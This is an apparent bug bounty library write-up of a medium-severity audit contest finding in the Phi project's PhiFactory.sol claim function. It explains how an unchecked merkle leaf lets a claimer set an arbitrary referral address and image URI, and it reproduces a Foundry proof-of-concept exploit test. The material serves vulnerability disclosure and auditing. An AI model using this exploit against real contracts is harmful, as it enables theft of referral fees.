# Lack of data validation when users are claiming their art allows malicious user to bypass signature/merkle hash to provide unapproved ref_, artId_ and imageURI

PhiFactory merkleClaim only verifies minter_ in the merkle leaf, letting a minter supply arbitrary ref_, artId_ and imageURI to steal referral fees and set unapproved art URIs.

- Payout: Audit contest
- Severity: medium
- Program: Phi
- Found by: rscodes
- Disclosed: 2024-10-07
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-08-phi-findings/issues/73
- Library page: https://bugbountylibrary.com/r/c4%3A2024-08-phi%3AM-05
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** PhiFactory.sol merkleClaim/signatureClaim claim functions
**Root cause:** The merkle leaf hash only commits to minter_ and leafPart_, so ref_, artId_ and imageURI decoded from user-supplied encodeData_ are never validated against the proof or signature.
**Steps:**
1. Call `phiFactory.claim(dataCompressed)` where `data = abi.encode(artId, to, proof, ref_, quantity, value, imageURI)`
2. Set `ref_` to a second attacker-controlled address to redirect referral rewards
3. Set `imageURI` to an arbitrary/unapproved URL (e.g. IMAGE_URL2)
4. Provide a valid merkle proof for minter_ only; ref_/artId_/imageURI pass unchecked
5. Observe referral balance credited to attacker's second account via `phiRewardsAddress().balanceOf(Alice_2)`
**How found:** Code reading of merkleClaim's leaf construction showed only minter_ is hashed, while signatureClaim explicitly checks ref_ and artId_; comparing the two paths revealed the missing commitments.
**Exploitation:** Attacker with a valid merkle proof for their own minter address crafts encodeData_ with a different ref_ (second account) and imageURI, calls claim, and receives referral fees while setting an unapproved image URI on the minted token.
**Insight:** When a claim function has both signature and merkle verification paths, diff which fields each path commits to — merkle leaves often omit fields the signature path covers, leaving them attacker-controlled.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test_claimHack forging ref and imageURI**

```
function test_claimHack() public {
  bytes32 expectedRoot = 0xe70e719557c28ce2f2f3545d64c633728d70fbcfe6ae3db5fa01420573e0f34b;
  bytes memory credData = abi.encode(1, owner, "MERKLE", 31_337, expectedRoot);
  bytes memory signCreateData = abi.encode(expiresIn, ART_ID_URL_STRING, credData);
  bytes32 createMsgHash = keccak256(signCreateData);
  bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
  (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
  if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
  phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(
      signCreateData,
      abi.encodePacked(cr, cs),
      IPhiFactory.CreateConfig(participant, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false)
  );

  address Alice = participant; //Original file setup already deals `participant` enough ether to pay for mint fees
  address Alice_2 = address(0x123456); //Alice's account 2
  vm.startPrank(Alice);

  bytes32[] memory proof = new bytes32[](2);
  proof[0] = 0x0927f012522ebd33191e00fe62c11db25288016345e12e6b63709bb618d777d4;
  proof[1] = 0xdd05ddd79adc5569806124d3c5d8151b75bc81032a0ea21d4cd74fd964947bf5;
  address to = 0x1111111111111111111111111111111111111111;
  bytes32 value = 0x0000000000000000000000000000000003c2f7086aed236c807a1b5000000000;
  uint256 artId = 1;
  bytes memory data = abi.encode(artId, to, proof, Alice_2, uint256(1), value, IMAGE_URL2); // Within this line we have the freedom to decide artId, address of referral and the image URL

  bytes memory dataCompressed = LibZip.cdCompress(data);
  uint256 totalMintFee = phiFactory.getArtMintFee(artId, 1);


  phiFactory.claim{ value: totalMintFee }(dataCompressed);
  (, bytes memory response) = phiFactory.phiRewardsAddress().call(abi.encodeWithSignature("balanceOf(address)", Alice_2));
  uint256 balance = abi.decode(response, (uint256));
  console2.log("Alice_2: ", balance); //Alice successfully illegally receives referral fee through her second account
  vm.stopPrank();
}
```

